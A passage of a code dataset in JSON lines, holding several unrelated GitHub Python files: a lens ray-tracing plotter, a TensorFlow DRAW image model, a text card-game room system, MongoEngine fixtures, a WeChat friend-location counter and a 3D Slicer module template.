print(\"ina2:\"+str(inang2/pi*180))\n        print(\"oua2:\"+str(ouang2/pi*180))\n        \n        print(\"x2:\"+str(x2))\n        print(\"y2:\"+str(y2))\n        if(out<theta2):\n            out2=theta2-ouang2\n        else:\n            out2=theta2+ouang2\n        outy2=y2-tan(out2)*x2\n        out2=out2/pi*180\n        print(\"out2:\"+str(out2))\n        print(\"outy2:\"+str(outy2))\n        \n        print(\"\")\n        \n        return outy,outo,x,outy2,out2,x2,y,y2\n    \nla=len(3,7.65,2.2,1,1.5168)\n\ndef drawroute(la,cnt,dcnt,rang,bgp,edp,dot=1):\n    inlights=[]\n    oulights=[]\n    for i in range(-cnt//2,cnt//2+1):\n        if(dot):\n            inlights.append([i/(cnt/rang),atan(i/(cnt/rang)/bgp)/pi*180])\n        else:\n            inlights.append([i/(cnt/rang),0])\n        oulights.append(la.getYDWithYD(inlights[-1][0],inlights[-1][1]))\n    \n    plt.grid()\n    for l in range(cnt+1):\n        x=[-bgp+(bgp+oulights[l][2])/100*i for i in range(dcnt)]\n        y=[inlights[l][0]+tan(inlights[l][1]/180*pi)*i for i in x]\n        plt.plot(x,y,c='green')\n        \n    for l in range(cnt+1):\n        x=[edp*i/dcnt+oulights[l][5] for i in range(dcnt)]\n        y=[oulights[l][3]+tan(oulights[l][4]/180*pi)*i for i in x]\n        plt.plot(x,y,c='red')\n    \n    for l in range(cnt+1):\n        x=[oulights[l][2],oulights[l][5]]\n        y=[oulights[l][6],oulights[l][7]]\n        print(\"x:\")\n        print(x)\n        print(\"y:\")\n        print(y)\n        plt.plot(x,y,c=\"blue\")\n    \n    plt.show()\n\ndrawroute(la,30,100,4,10,10,0)\ndrawroute(la,30,100,4,10,10,1)\n","repo_name":"ZiyangYE/Lens_Ray_Tracing","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40000914087","text":"\nfor i in range(int(input())):\n    n = int(input())\n\n    rr = [int(r) for r in input()]\n    bb = [int(b) for b in input()]\n\n    if sum(rr) / len(rr) == sum(bb) / len(bb):\n        print('EQUAL')\n    else:\n        print('RED' if sum(rr) / len(rr) > sum(bb) / len(bb) else 'BLUE')\n","repo_name":"rpask00/codeforces_py","sub_path":"A_Red_Blue_Shuffle.py","file_name":"A_Red_Blue_Shuffle.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3907519010","text":"\n# os.chdir(os.path.dirname(__file__))\n\ndef getEmails(path_to_file):\n    emails = []\n    # Format of CSV needs to be [business_name,email]\n    with open(path_to_file, newline='') as csvfile:\n\n        # Find index of email column\n        emailIndex = None\n        for row in csvfile:\n            columns = row.lower().split(\";\")\n            for column in columns:\n                if \"email\" in column:\n                    emailIndex = columns.index(column)\n            break\n\n        # Get email\n        for row in csvfile:\n            email = row.lower().split(\";\")[emailIndex].strip()\n            emails.append(email)\n\n    return emails\n\n","repo_name":"maxibenner/i-love-mail","sub_path":"emails.py","file_name":"emails.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11406388850","text":"\"\"\"\nImplementation of deep recurrent attentive writer (DRAW), based on\n\n    https://github.com/ericjang/draw\n\nOriginal paper:\n\n    DRAW: A recurrent neural network for image generation.\n    https://arxiv.org/abs/1502.04623\n\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nfrom tensorflow.contrib.rnn import LSTMCell\n\n# Load the data\ndata = input_data.read_data_sets('datasets/mnist', one_hot=True)\nIMAGE_WIDTH  = 28\nIMAGE_HEIGHT = 28\nIMAGE_SIZE   = IMAGE_WIDTH * IMAGE_HEIGHT\n\n# Hyperparameters\nencoder_size  = 256\ndecoder_size  = 256\nT             = 10\nbatch_size    = 100\nlearning_rate = 1e-3\nnum_epochs    = 20\nlatent_dim    = 10\neps           = 1e-8\n\n# Attention parameters\nattention = True\nread_n    = 5\nwrite_n   = 5\n\ndef linear(x, dim):\n    W = tf.get_variable('W', [x.get_shape()[-1].value, dim])\n    b = tf.get_variable('b', [dim], initializer=tf.constant_initializer(0.0))\n    return tf.matmul(x, W) + b\n\n# Seed the TF random number generator for reproducible initialization\ntf.set_random_seed(0)\n\n# For feeding in data\nx = tf.placeholder(tf.float32, [None, IMAGE_SIZE])\n\n# VAE\nencoder = LSTMCell(encoder_size)\ndecoder = LSTMCell(decoder_size)\n\ndef filter_bank(gx, gy, var, delta, n):\n    grid = tf.reshape(tf.cast(tf.range(n), dtype=tf.float32), [1, -1])\n    mu_x = tf.reshape(gx + (grid - n/2 - 0.5) * delta, [-1, n, 1]) # Eq. 19\n    mu_y = tf.reshape(gy + (grid - n/2 - 0.5) * delta, [-1, n, 1]) # Eq. 20\n    a    = tf.reshape(tf.cast(tf.range(IMAGE_WIDTH),  tf.float32), [1, 1, -1])\n    b    = tf.reshape(tf.cast(tf.range(IMAGE_HEIGHT), tf.float32), [1, 1, -1])\n    var  = tf.reshape(var, [-1, 1, 1])\n\n    # Eq. 25\n    Fx    = tf.exp(-tf.square((a - mu_x) / (2*var)))\n    norm  = tf.reduce_sum(Fx, 2, keep_dims=True)\n    Fx   /= tf.maximum(norm, eps)\n\n    # Eq. 26\n    Fy    = tf.exp(-tf.square((b - mu_y) / (2*var)))\n    norm  = tf.reduce_sum(Fy, 2, keep_dims=True)\n    Fy   /= tf.maximum(norm, eps)\n\n    return Fx, Fy\n\ndef attention_window(scope, reuse, decoder_output, n):\n    with tf.variable_scope(scope, reuse=reuse):\n        params = linear(decoder_output, 5) # Eq. 21\n    gx, gy, log_var, log_delta, log_gamma = tf.split(params, 5, axis=1)\n    var   = tf.exp(log_var)\n    delta = tf.exp(log_delta)\n    gamma = tf.exp(log_gamma)\n\n    gx     = (gx + 1) * (IMAGE_WIDTH + 1)/2                       # Eq. 22\n    gy     = (gy + 1) * (IMAGE_HEIGHT + 1)/2                      # Eq. 23\n    delta  = (max(IMAGE_WIDTH, IMAGE_HEIGHT) - 1) / (n-1) * delta # Eq. 24\n    Fx, Fy = filter_bank(gx, gy, var, delta, n)\n\n    return Fx, Fy, gamma\n\n# Eq. 27\ndef apply_filter(x, Fx, Fy, gamma, n):\n    Fx_t = tf.transpose(Fx, perm=[0, 2, 1])\n    x = tf.reshape(x, [-1, IMAGE_HEIGHT, IMAGE_WIDTH])\n    x = tf.matmul(Fy, tf.matmul(x, Fx_t))\n    return tf.reshape(gamma, [-1, 1]) * tf.reshape(x, [-1, n*n])\n\n# Eq. 29\ndef apply_filter_rev(x, Fx, Fy, gamma, n):\n    Fy_t = tf.transpose(Fy, perm=[0, 2, 1])\n    x = tf.reshape(x, [-1, n, n])\n    x = tf.matmul(Fy_t, tf.matmul(x, Fx))\n    return tf.reshape(1/gamma, [-1, 1]) * tf.reshape(x, [-1, IMAGE_SIZE])\n\ndef read(x, x_error, decoder_output, reuse):\n    if attention:\n        Fx, Fy, gamma = attention_window('read', reuse, decoder_output, read_n)\n        x       = apply_filter(x, Fx, Fy, gamma, read_n)\n        x_error = apply_filter(x_error, Fx, Fy, gamma, read_n)\n    return tf.concat([x, x_error], 1)\n\ndef write(decoder_output, reuse):\n    if not attention:\n        return linear(decoder_output, IMAGE_SIZE)\n\n    with tf.variable_scope('patch', reuse=reuse):\n        w = linear(decoder_output, write_n**2)\n        w = tf.reshape(w, [batch_size, write_n, write_n])\n    Fx, Fy, gamma = attention_window('write', reuse, decoder_output, write_n)\n    return apply_filter_rev(w, Fx, Fy, gamma, write_n)\n\ncanvas          = tf.zeros_like(x)\nreconstruction  = tf.zeros_like(x)\ndecoder_output  = tf.zeros((batch_size, decoder_size))\nencoder_state   = encoder.zero_state(batch_size, tf.float32)\ndecoder_state   = decoder.zero_state(batch_size, tf.float32)\ncanvases        = []\nreconstructions = []\nz_means         = []\nz_log_vars      = []\nfor t in range(T):\n    if t == 0:\n        reuse = None\n    else:\n        reuse = True\n\n    # Encoding step\n    with tf.variable_scope('encoder', reuse=reuse):\n        # The encoder observes previous output\n        x_error = x - reconstruction\n        r = read(x, x_error, decoder_output, reuse)\n        encoder_inputs = tf.concat([r, decoder_output], 1)\n\n        encoder_output, encoder_state = encoder(encoder_inputs, encoder_state)\n        with tf.variable_scope('mean'):\n            z_mean = linear(encoder_output, latent_dim)\n        with tf.variable_scope('var'):\n            z_log_var = linear(encoder_output, latent_dim)\n        z_means.append(z_mean)\n        z_log_vars.append(z_log_var)\n\n    # Latent embedding\n    epsilon = tf.random_normal(tf.shape(z_log_var))\n    z = z_mean + epsilon * tf.exp(0.5*z_log_var)\n\n    # Decoding step\n    with tf.variable_scope('decoder', reuse=reuse):\n        decoder_output, decoder_state = decoder(z, decoder_state)\n        with tf.variable_scope('reconstruction'):\n            # Accumulate the modifications\n            canvas = canvas + write(decoder_output, reuse=reuse)\n    canvases.append(canvas)\n\n    # Previous reconstruction\n    reconstruction = tf.sigmoid(canvas)\n    reconstructions.append(reconstruction)\n\n# Reconstruction loss at final time step\nCE = tf.nn.sigmoid_cross_entropy_with_logits(logits=canvases[-1], labels=x)\nCE = tf.reduce_sum(CE, 1)\n\n# Latent loss for each time step\nKLs = []\nfor z_mean, z_log_var in zip(z_means, z_log_vars):\n    KL = 1 + z_log_var - tf.square(z_mean) - tf.exp(z_log_var)\n    KL = -0.5 * tf.reduce_sum(KL, 1)\n    KLs.append(KL)\nKL = tf.add_n(KLs)\n\n# Total loss\nloss = tf.reduce_mean(CE + KL)\n\n# Optimizer\noptimizer  = tf.train.AdamOptimizer(learning_rate, beta1=0.5)\ngrads_vars = optimizer.compute_gradients(loss)\ngrads_vars = [(tf.clip_by_norm(g, 5), v) for g, v in grads_vars]\ntrain_op   = optimizer.apply_gradients(grads_vars)\n\n# Seed the random number generator for reproducible batches\nnp.random.seed(0)\n\n# Print list of variables\nprint(\"\")\nprint(\"Variables\")\nprint(\"---------\")\nvariables  = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)\nnum_params = 0\nfor v in variables:\n    num_params += np.prod(v.get_shape().as_list())\n    print(v.name, v.get_shape())\nprint(\"=> Total number of parameters =\", num_params)\n\n# TF session\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\n\n# Minimize the loss function\nnum_batches_per_epoch = data.train.num_examples // batch_size\nfor epoch in range(num_epochs):\n    current_loss = 0\n    for _ in range(num_batches_per_epoch):\n        batch_x, _ = data.train.next_batch(batch_size)\n        _, loss_val = sess.run([train_op, loss], {x: batch_x})\n        current_loss += loss_val\n\n    print(\"After {} epochs, loss = {}\"\n          .format(epoch+1, current_loss/num_batches_per_epoch))\n\ndef reconstruct(x_):\n    return sess.run(reconstructions, {x: x_})\n\n#-------------------------------------------------------------------------------\n# Example reconstructions\n#-------------------------------------------------------------------------------\n\nnx = ny = 10\nimages = data.test.images[:nx*ny]\nreconstructed_images = reconstruct(images)\n\nfor t, reconstructed_image in enumerate(reconstructed_images):\n    grid = np.zeros((28*ny, 28*nx))\n    for i in range(ny):\n        for j in range(nx):\n            grid[28*(ny-i-1):28*(ny-i),28*j:28*(j+1)] = (\n                reconstructed_image[i*ny+j].reshape((28, 28))\n                )\n\n    plt.figure()\n    plt.imshow(grid, cmap='gray')\n    plt.savefig('figs/draw/reconstruction_t{}.png'.format(t))\n    plt.close()\n","repo_name":"frsong/tf-examples","sub_path":"draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":7771,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"35"}
{"seq_id":"4270607110","text":"file = open('dane/dane.txt', 'r').read().split('\\n')[:-1]\nfile = [[i.split()[0]] + i.split() + [i.split()[-1]] for i in file]\nfile = [file[0]] + file + [file[-1]]\n\nans = 0\ntab = [-1, 1]\nfor i in range(1, len(file) - 1):\n    for j in range(1, len(file[i]) -1):\n        temp = 0\n        for k in tab:\n            temp += int( abs(int(file[i+k][j])- int(file[i][j])) > 128 or abs(int(file[i][j+k]) - int(file[i][j])) > 128)\n        ans += int(temp > 0)\n\nprint(ans)\n\n","repo_name":"mcnuggetsx20/high-school-coding","sub_path":"matura/2017/63.py","file_name":"63.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25841582521","text":"\nimport entities\nimport cards\n# each room has a battle in it, what the battle is depends on how deep you go\n\n# each room stems from a room class\nclass Room(object):\n\n    # making multiple enemies in the future is a possibility. Would have to figure out *args for the enemy param\n    # and would have to add a for loop for the enemy turns in battle()\n    def __init__(self, enemy, next_room):\n        self.enemy = enemy\n        self.next_room = next_room\n\n    # room class probably has a method which plays a battle. Takes param of enemy which is fought\n    def battle(self, player):\n\n\n        player.reset_piles()\n        # battle loop, determines that the battle continues if player and enemy are both still alive\n        while player.health > 0 and self.enemy.health > 0:\n\n            # player makes their deccisions/attacks\n            player.my_turn(self.enemy)\n            # enemy makes their decisions/attacks\n            # seems like this may be happening even after the enemy dies\n            self.enemy.my_turn(player)\n\n        # ends turn as a safety measure incase you defeated the enemy before your turn was over\n        # also functions as a way to restore energy after the battle\n        player.end_turn()\n        if player.health <= 0:\n            self.next_room = \"death\"\n        else:\n            print(\"You win!\")\n\n    # each room returns a string which should represent the next room\n\n    # default, pre-battle interaction with room. By default, only describes the room\n    def interact(self, player):\n        print(\"default room\")\n\n    def get_next_room(self):\n        return self.next_room\n\nclass Death(Room):\n\n    # in this case, description simply describes that you died\n    def __init__(self):\n        pass\n\n    def interact(self):\n        print(\"You have fallen....\")\n\nclass FirstRoom(Room):\n\n    def interact(self, player):\n        print(\"\"\"\nYour adventure is just beginning.\nOn the way through the town, somebody slips by you a little bit too closely\nUpon further inspection, it seems like he took your wallet\nYou locate him, but it looks like he's not going down without a fight\n        \"\"\")\n        self.battle(player)\n        return self.get_next_room()\n\nclass ThiefBand(Room):\n\n    def interact(self, player):\n        print(\"\"\"\nYou proceed, your wallet now back in your hands, towards the dungeon.\nYou feel like you're being followed...\nSoon before you enter the dungeon, it becomes apparent who you were followed by\nIt seems that pickpocket had friends. A band of thieves emerges\nThe leader presents himself, and initiates a fight!\n        \"\"\")\n        self.battle(player)\n        return self.get_next_room()\n\nclass Dungeon(Room):\n\n    def interact(self, player):\n        print(\"\"\"\nNow that those bandits are taken care of, It's time to go into the dungeon!\nUh-oh. That sounds like a Dragon\nYup, it's a dragon. Time to fight.\n        \"\"\")\n        self.battle(player)\n        return self.get_next_room()\n\n\nclass Map(object):\n\n    def __init__(self, player):\n        self.player = player\n        self.rooms = {\n            'start room': FirstRoom(entities.Enemy(\"Pickpocket\", 14, 3), 'thief band'),\n            'thief band': ThiefBand(entities.Enemy(\"Bandit Leader\", 20, 4), 'dungeon'),\n            'dungeon': Dungeon(entities.Enemy(\"Dragon\", 30, 5), 'end'),\n            'death': Death()\n        }\n\n    def run(self):\n\n        # we should run the start room first\n        next = self.rooms['start room'].interact(self.player)\n        while next != 'end' and next != 'death':\n            next = self.rooms[next].interact(self.player)\n        if next == 'end':\n            print(\"That's all for the game right now\")\n        else:\n            # lets you interact with the death room\n            self.rooms[next].interact()\n","repo_name":"Lnauman1700/card_battle_game","sub_path":"rooms.py","file_name":"rooms.py","file_ext":"py","file_size_in_byte":3751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72157030181","text":"from __future__ import unicode_literals\n\n\"\"\"\nMongoEngine fixtures\n\"\"\"\nimport mongoengine as mongo\n\nfrom field_values import get_random_value\n\n\ndef make_fixture(model_class, **kwargs):\n    \"\"\"\n    Take the model_klass and generate a fixure for it\n\n    Args:\n        model_class (MongoEngine Document): model for which a fixture\n            is needed\n        kwargs (dict): any overrides instead of random values\n\n    Returns:\n        dict for now, other fixture types are not implemented yet\n    \"\"\"\n    all_fields = get_fields(model_class)\n\n    fields_for_random_generation = map(\n        lambda x: getattr(model_class, x), all_fields\n    )\n\n    overrides = {}\n\n    for kwarg, value in kwargs.items():\n        if kwarg in all_fields:\n            kwarg_field = getattr(model_class, kwarg)\n            fields_for_random_generation.remove(kwarg_field)\n            overrides.update({kwarg_field: value})\n\n    random_values = get_random_values(fields_for_random_generation)\n\n    values = dict(overrides, **random_values)\n\n    assert len(all_fields) == len(values), (\n        \"Mismatch in values, {} != {}\".format(\n            len(all_fields), len(values)\n        )\n    )\n    data = {k.name: v for k, v in values.items()}\n    return model_class(**data)\n\n\ndef get_fields(model_class):\n    \"\"\"\n    Pass in a mongo model class and extract all the attributes which\n    are mongoengine fields\n\n    Returns:\n        list of strings of field attributes\n    \"\"\"\n    return [\n        attr for attr, value in model_class.__dict__.items()\n        if issubclass(type(value), (mongo.base.BaseField, mongo.EmbeddedDocumentField))  # noqa\n    ]\n\n\ndef get_random_values(fields):\n    \"\"\"\n    Pass in a list of fields (as strings) to get a dict with the\n    field name as a key and a randomly generated value as another\n    \"\"\"\n    values = {}\n\n    for field in fields:\n        try:\n            value = get_random_value(field)\n        except AttributeError:\n            # this can only really occur if the field is not implemented yet.\n            # Silencing the exception during the prototype phase\n            value = None\n\n        values.update({field: value})\n\n    return values\n","repo_name":"agamdua/mixtures","sub_path":"mixtures/mixtures.py","file_name":"mixtures.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"25339195520","text":"from wxpy import *\r\nbot = Bot(cache_path=True)\r\nfriends_stat=bot.friends().stats()\r\nfriends_loc=[]\r\nfor province ,count in friends_stat[\"city\"].items():\r\n    if province !=\"\":\r\n        friends_loc.append([province,count])\r\n\r\n#对每个省份的人数降序排列\r\nfriends_loc.sort(key=lambda x:x[1],reverse=True)\r\n\r\n#打印前10\r\nfor item in friends_loc[:]:\r\n    print(item[0],item[1])\r\n\r\n\r\n","repo_name":"wangju-cell/wj_code","sub_path":"python自动化运维/20210128统计微信好友信息.py","file_name":"20210128统计微信好友信息.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72471932261","text":"import logging\nimport os\n\nimport vtk\n\nimport slicer\nfrom slicer.ScriptedLoadableModule import *\nfrom slicer.util import VTKObservationMixin\n\n\n#\n# SurfaceModelNodesSelector\n#\n\nclass SurfaceModelNodesSelector(ScriptedLoadableModule):\n    \"\"\"Uses ScriptedLoadableModule base class, available at:\n    https://github.com/Slicer/Slicer/blob/main/Base/Python/slicer/ScriptedLoadableModule.py\n    \"\"\"\n\n    def __init__(self, parent):\n        ScriptedLoadableModule.__init__(self, parent)\n        self.parent.title = \"SurfaceModelNodesSelector\"  # TODO: make this more human readable by adding spaces\n        self.parent.categories = [\"PointSelector\"]  # TODO: set categories (folders where the module shows up in the module selector)\n        self.parent.dependencies = []  # TODO: add here list of module names that this module requires\n        self.parent.contributors = [\"Saima Safdar\"]  # TODO: replace with \"Firstname Lastname (Organization)\"\n        # TODO: update with short description of the module and a link to online module documentation\n        self.parent.helpText = \"\"\"\nThis module is used to select the indeces/nodes of the any 3D surface model <a href=\"https://github.com/organization/projectname#SurfaceModelNodesSelector\">module documentation</a>.\n\"\"\"\n        # TODO: replace with organization, grant and thanks\n        self.parent.acknowledgementText = \"\"\"\n\n\"\"\"\n\n        # Additional initialization step after application startup is complete\n        slicer.app.connect(\"startupCompleted()\", registerSampleData)\n\n\n#\n# Register sample data sets in Sample Data module\n#\n\ndef registerSampleData():\n    \"\"\"\n    Add data sets to Sample Data module.\n    \"\"\"\n    # It is always recommended to provide sample data for users to make it easy to try the module,\n    # but if no sample data is available then this method (and associated startupCompeted signal connection) can be removed.\n\n    import SampleData\n    iconsPath = os.path.join(os.path.dirname(__file__), 'Resources/Icons')\n\n    # To ensure that the source code repository remains small (can be downloaded and installed quickly)\n    # it is recommended to store data sets that are larger than a few MB in a Github release.\n\n    # SurfaceModelNodesSelector1\n    SampleData.SampleDataLogic.registerCustomSampleDataSource(\n        # Category and sample name displayed in Sample Data module\n        category='SurfaceModelNodesSelector',\n        sampleName='SurfaceModelNodesSelector1',\n        # Thumbnail should have size of approximately 260x280 pixels and stored in Resources/Icons folder.\n        # It can be created by Screen Capture module, \"Capture all views\" option enabled, \"Number of images\" set to \"Single\".\n        thumbnailFileName=os.path.join(iconsPath, 'SurfaceModelNodesSelector1.png'),\n        # Download URL and target file name\n        uris=\"https://github.com/Slicer/SlicerTestingData/releases/download/SHA256/998cb522173839c78657f4bc0ea907cea09fd04e44601f17c82ea27927937b95\",\n        fileNames='SurfaceModelNodesSelector1.nrrd',\n        # Checksum to ensure file integrity. Can be computed by this command:\n        #  import hashlib; print(hashlib.sha256(open(filename, \"rb\").read()).hexdigest())\n        checksums='SHA256:998cb522173839c78657f4bc0ea907cea09fd04e44601f17c82ea27927937b95',\n        # This node name will be used when the data set is loaded\n        nodeNames='SurfaceModelNodesSelector1'\n    )\n\n    # SurfaceModelNodesSelector2\n    SampleData.SampleDataLogic.registerCustomSampleDataSource(\n        # Category and sample name displayed in Sample Data module\n        category='SurfaceModelNodesSelector',\n        sampleName='SurfaceModelNodesSelector2',\n        thumbnailFileName=os.path.join(iconsPath, 'SurfaceModelNodesSelector2.png'),\n        # Download URL and target file name\n        uris=\"https://github.com/Slicer/SlicerTestingData/releases/download/SHA256/1a64f3f422eb3d1c9b093d1a18da354b13bcf307907c66317e2463ee530b7a97\",\n        fileNames='SurfaceModelNodesSelector2.nrrd',\n        checksums='SHA256:1a64f3f422eb3d1c9b093d1a18da354b13bcf307907c66317e2463ee530b7a97',\n        # This node name will be used when the data set is loaded\n        nodeNames='SurfaceModelNodesSelector2'\n    )\n\n\n#\n# SurfaceModelNodesSelectorWidget\n#\n\nclass SurfaceModelNodesSelectorWidget(ScriptedLoadableModuleWidget, VTKObservationMixin):\n    \"\"\"Uses ScriptedLoadableModuleWidget base class, available at:\n    https://github.com/Slicer/Slicer/blob/main/Base/Python/slicer/ScriptedLoadableModule.py\n    \"\"\"\n\n    def __init__(self, parent=None):\n        \"\"\"\n        Called when the user opens the module the first time and the widget is initialized.\n        \"\"\"\n        ScriptedLoadableModuleWidget.__init__(self, parent)\n        VTKObservationMixin.__init__(self)  # needed for parameter node observation\n        self.logic = None\n        self._parameterNode = None\n        self._updatingGUIFromParameterNode = False\n\n    def setup(self):\n        \"\"\"\n        Called when the user opens the module the first time and the widget is initialized.\n        \"\"\"\n        ScriptedLoadableModuleWidget.setup(self)\n\n        # Load widget from .ui file (created by Qt Designer).\n        # Additional widgets can be instantiated manually and added to self.layout.\n        uiWidget = slicer.util.loadUI(self.resourcePath('UI/SurfaceModelNodesSelector.ui'))\n        self.layout.addWidget(uiWidget)\n        self.ui = slicer.util.childWidgetVariables(uiWidget)\n\n        # Set scene in MRML widgets. Make sure that in Qt designer the top-level qMRMLWidget's\n        # \"mrmlSceneChanged(vtkMRMLScene*)\" signal in is connected to each MRML widget's.\n        # \"setMRMLScene(vtkMRMLScene*)\" slot.\n        uiWidget.setMRMLScene(slicer.mrmlScene)\n\n        # Create logic class. Logic implements all computations that should be possible to run\n        # in batch mode, without a graphical user interface.\n        self.logic = SurfaceModelNodesSelectorLogic()\n\n        # Connections\n\n        # These connections ensure that we update parameter node when scene is closed\n        self.addObserver(slicer.mrmlScene, slicer.mrmlScene.StartCloseEvent, self.onSceneStartClose)\n        self.addObserver(slicer.mrmlScene, slicer.mrmlScene.EndCloseEvent, self.onSceneEndClose)\n\n        # These connections ensure that whenever user changes some settings on the GUI, that is saved in the MRML scene\n        # (in the selected parameter node).\n        # self.ui.inputSelector.connect(\"currentNodeChanged(vtkMRMLNode*)\", self.updateParameterNodeFromGUI)\n        # self.ui.inputFiducial.connect(\"currentNodeChanged(vtkMRMLNode*)\", self.updateParameterNodeFromGUI)\n        # self.ui.outputSelector.connect(\"currentNodeChanged(vtkMRMLNode*)\", self.updateParameterNodeFromGUI)\n        # self.ui.imageThresholdSliderWidget.connect(\"valueChanged(double)\", self.updateParameterNodeFromGUI)\n        # self.ui.invertOutputCheckBox.connect(\"toggled(bool)\", self.updateParameterNodeFromGUI)\n        # self.ui.invertedOutputSelector.connect(\"currentNodeChanged(vtkMRMLNode*)\", self.updateParameterNodeFromGUI)\n\n        # Buttons\n        self.ui.applyButton.connect('clicked(bool)', self.onApplyButton)\n\n        # Make sure parameter node is initialized (needed for module reload)\n        self.initializeParameterNode()\n\n    def cleanup(self):\n        \"\"\"\n        Called when the application closes and the module widget is destroyed.\n        \"\"\"\n        self.removeObservers()\n\n    def enter(self):\n        \"\"\"\n        Called each time the user opens this module.\n        \"\"\"\n        # Make sure parameter node exists and observed\n        self.initializeParameterNode()\n\n    def exit(self):\n        \"\"\"\n        Called each time the user opens a different module.\n        \"\"\"\n        # Do not react to parameter node changes (GUI wlil be updated when the user enters into the module)\n        self.removeObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n\n    def onSceneStartClose(self, caller, event):\n        \"\"\"\n        Called just before the scene is closed.\n        \"\"\"\n        # Parameter node will be reset, do not use it anymore\n        self.setParameterNode(None)\n\n    def onSceneEndClose(self, caller, event):\n        \"\"\"\n        Called just after the scene is closed.\n        \"\"\"\n        # If this module is shown while the scene is closed then recreate a new parameter node immediately\n        if self.parent.isEntered:\n            self.initializeParameterNode()\n\n    def initializeParameterNode(self):\n        \"\"\"\n        Ensure parameter node exists and observed.\n        \"\"\"\n        # Parameter node stores all user choices in parameter values, node selections, etc.\n        # so that when the scene is saved and reloaded, these settings are restored.\n\n        self.setParameterNode(self.logic.getParameterNode())\n\n        # Select default input nodes if nothing is selected yet to save a few clicks for the user\n        if not self._parameterNode.GetNodeReference(\"InputVolume\"):\n            firstVolumeNode = slicer.mrmlScene.GetFirstNodeByClass(\"vtkMRMLScalarVolumeNode\")\n            if firstVolumeNode:\n                self._parameterNode.SetNodeReferenceID(\"InputVolume\", firstVolumeNode.GetID())\n\n    def setParameterNode(self, inputParameterNode):\n        \"\"\"\n        Set and observe parameter node.\n        Observation is needed because when the parameter node is changed then the GUI must be updated immediately.\n        \"\"\"\n\n        if inputParameterNode:\n            self.logic.setDefaultParameters(inputParameterNode)\n\n        # Unobserve previously selected parameter node and add an observer to the newly selected.\n        # Changes of parameter node are observed so that whenever parameters are changed by a script or any other module\n        # those are reflected immediately in the GUI.\n        if self._parameterNode is not None and self.hasObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode):\n            self.removeObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n        self._parameterNode = inputParameterNode\n        if self._parameterNode is not None:\n            self.addObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n\n        # Initial GUI update\n        self.updateGUIFromParameterNode()\n\n    def updateGUIFromParameterNode(self, caller=None, event=None):\n        \"\"\"\n        This method is called whenever parameter node is changed.\n        The module GUI is updated to show the current state of the parameter node.\n        \"\"\"\n\n        if self._parameterNode is None or self._updatingGUIFromParameterNode:\n            return\n\n        # Make sure GUI changes do not call updateParameterNodeFromGUI (it could cause infinite loop)\n        self._updatingGUIFromParameterNode = True\n\n        # Update node selectors and sliders\n        # self.ui.inputSelector.setCurrentNode(self._parameterNode.GetNodeReference(\"InputVolume\"))\n        # self.ui.inputFiducial.setCurrentNode(self._parameterNode.GetNodeReference(\"InputFiducial\"))\n        # self.ui.outputSelector.setCurrentNode(self._parameterNode.GetNodeReference(\"OutputVolume\"))\n        # self.ui.invertedOutputSelector.setCurrentNode(self._parameterNode.GetNodeReference(\"OutputVolumeInverse\"))\n        # self.ui.imageThresholdSliderWidget.value = float(self._parameterNode.GetParameter(\"Threshold\"))\n        # self.ui.invertOutputCheckBox.checked = (self._parameterNode.GetParameter(\"Invert\") == \"true\")\n\n        # Update buttons states and tooltips\n        # if self._parameterNode.GetNodeReference(\"InputVolume\") and self._parameterNode.GetNodeReference(\"OutputVolume\"):\n        #     self.ui.applyButton.toolTip = \"Compute output volume\"\n        #     self.ui.applyButton.enabled = True\n        # else:\n        #     self.ui.applyButton.toolTip = \"Select input and output volume nodes\"\n        #     self.ui.applyButton.enabled = False\n\n        # All the GUI updates are done\n        self._updatingGUIFromParameterNode = False\n\n    def updateParameterNodeFromGUI(self, caller=None, event=None):\n        \"\"\"\n        This method is called when the user makes any change in the GUI.\n        The changes are saved into the parameter node (so that they are restored when the scene is saved and loaded).\n        \"\"\"\n\n        if self._parameterNode is None or self._updatingGUIFromParameterNode:\n            return\n\n        wasModified = self._parameterNode.StartModify()  # Modify all properties in a single batch\n\n        # self._parameterNode.SetNodeReferenceID(\"InputVolume\", self.ui.inputSelector.currentNodeID)\n        # self._parameterNode.SetNodeReferenceID(\"InputFiducial\", self.ui.inputFiducial.currentNodeID)\n        # self._parameterNode.SetNodeReferenceID(\"OutputVolume\", self.ui.outputSelector.currentNodeID)\n        # self._parameterNode.SetParameter(\"Threshold\", str(self.ui.imageThresholdSliderWidget.value))\n        # self._parameterNode.SetParameter(\"Invert\", \"true\" if self.ui.invertOutputCheckBox.checked else \"false\")\n        # self._parameterNode.SetNodeReferenceID(\"OutputVolumeInverse\", self.ui.invertedOutputSelector.currentNodeID)\n\n        self._parameterNode.EndModify(wasModified)\n\n    def onApplyButton(self):\n        \"\"\"\n        Run processing when user clicks \"Apply\" button.\n        \"\"\"\n        with slicer.util.tryWithErrorDisplay(\"Failed to compute results.\", waitCursor=True):\n\n            # Compute 